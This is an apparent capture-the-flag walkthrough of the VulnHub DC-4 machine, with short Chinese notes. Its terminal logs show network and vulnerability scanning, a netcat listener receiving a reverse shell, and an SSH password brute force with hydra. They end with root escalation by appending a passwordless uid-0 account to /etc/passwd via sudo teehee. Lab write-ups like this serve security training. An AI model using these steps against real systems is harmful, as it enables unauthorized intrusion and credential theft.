┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ sudo nmap -sn 192.168.56.0/24 [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 14:30 CST Nmap scan report for 192.168.56.1 Host is up (0.00032s latency). MAC Address: 0A:00:27:00:00:08 (Unknown) Nmap scan report for 192.168.56.100 Host is up (0.00030s latency). MAC Address: 08:00:27:B1:3D:71 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.112 Host is up (0.00029s latency). MAC Address: 08:00:27:DA:BB:43 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.144 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.29 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ sudo nmap -p- --min-rate=10000 192.168.56.112 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 14:31 CST Nmap scan report for 192.168.56.112 Host is up (0.0078s latency). Not shown: 51829 filtered tcp ports (no-response), 13704 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:DA:BB:43 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 36.26 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ sudo nmap -sT -sV -sC -O -p22,80 192.168.56.112 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 14:32 CST Nmap scan report for 192.168.56.112 Host is up (0.0014s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 8d6057066c27e02f762ce642c001ba25 (RSA) | 256 e7838cd7bb84f32ee8a25f796f8e1930 (ECDSA) |_ 256 fd39478a5e58339973739e227f904f4b (ED25519) 80/tcp open http nginx 1.15.10 |_http-title: System Tools |_http-server-header: nginx/1.15.10 MAC Address: 08:00:27:DA:BB:43 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.80 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ sudo nmap --script=vuln 192.168.56.112 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 14:34 CST Nmap scan report for 192.168.56.112 Host is up (0.014s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.112 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.112:80/ | Form id: | Form action: login.php | | Path: http://192.168.56.112:80/login.php | Form id: |_ Form action: login.php |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 08:00:27:DA:BB:43 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 78.64 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ sudo nikto -h http://192.168.56.112 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.56.112 + Target Hostname: 192.168.56.112 + Target Port: 80 + Start Time: 2023-06-01 14:34:35 (GMT8) --------------------------------------------------------------------------- + Server: nginx/1.15.10 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2023-06-01 14:35:01 (GMT8) (26 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ sudo nc -lvp 443 listening on [any] 443 ... 192.168.56.112: inverse host lookup failed: Host name lookup failure connect to [192.168.56.144] from (UNKNOWN) [192.168.56.112] 37492 bash: cannot set terminal process group (331): Inappropriate ioctl for device bash: no job control in this shell www-data@dc-4:/usr/share/nginx/html$
www-data@dc-4:/home/jim$ cd back cd backups/ www-data@dc-4:/home/jim/backups$ ls -la ls -la total 12 drwxr-xr-x 2 jim jim 4096 Apr 7 2019 . drwxr-xr-x 3 jim jim 4096 Apr 7 2019 .. -rw-r--r-- 1 jim jim 2047 Apr 7 2019 old-passwords.bak www-data@dc-4:/home/jim/backups$ cat old- cat old-passwords.bak 000000 12345 iloveyou 1q2w3e4r5t 1234 123456a qwertyuiop monkey 123321 dragon ......
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ hydra -l jim -P old-pass ssh://192.168.56.112 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-01 15:16:30 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 253 login tries (l:1/p:253), ~16 tries per task [DATA] attacking ssh://192.168.56.112:22/ [STATUS] 146.00 tries/min, 146 tries in 00:01h, 110 to doin 00:01h, 13 active [STATUS] 105.50 tries/min, 211 tries in 00:02h, 45 to doin 00:01h, 13 active [22][ssh] host: 192.168.56.112 login: jim password: jibril04 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-01 15:18:50
发现了jim的登录凭证：jim:jibril04
jim
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(kali㉿kali)-[~/vulnhub/DC/4/workSpace] └─$ ssh jim@192.168.56.112 The authenticity of host '192.168.56.112 (192.168.56.112)' can't be established. ED25519 key fingerprint is SHA256:0CH/AiSnfSSmNwRAHfnnLhx95MTRyszFXqzT03sUJkk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.112' (ED25519) to the list of known hosts. jim@192.168.56.112's password: Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Sun Apr 7 02:23:55 2019 from 192.168.0.100 jim@dc-4:~$
jim@dc-4:~$ cat /var/mail/jim From charles@dc-4 Sat Apr 06 21:15:46 2019 Return-path: <charles@dc-4> Envelope-to: jim@dc-4 Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000 Received: from charles by dc-4 with local (Exim 4.89) (envelope-from <charles@dc-4>) id 1hCjIX-0000kO-Qt for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000 To: jim@dc-4 Subject: Holidays MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <E1hCjIX-0000kO-Qt@dc-4> From: Charles <charles@dc-4> Date: Sat, 06 Apr 2019 21:15:45 +1000 Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya, Charles
发现了charles的密码^xHhA&hvim0y
charles
直接切到charles
1 2 3 4 5 6 7 8 9
jim@dc-4:~$ su charles Password: charles@dc-4:/home/jim$ sudo -l Matching Defaults entries for charles on dc-4: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/teehee
charles@dc-4:/home/jim$ echo"test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd test::0:0:::/bin/bash charles@dc-4:/home/jim$ su test root@dc-4:/home/jim# whoami root root@dc-4:/home/jim# id uid=0(root) gid=0(root) groups=0(root)
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
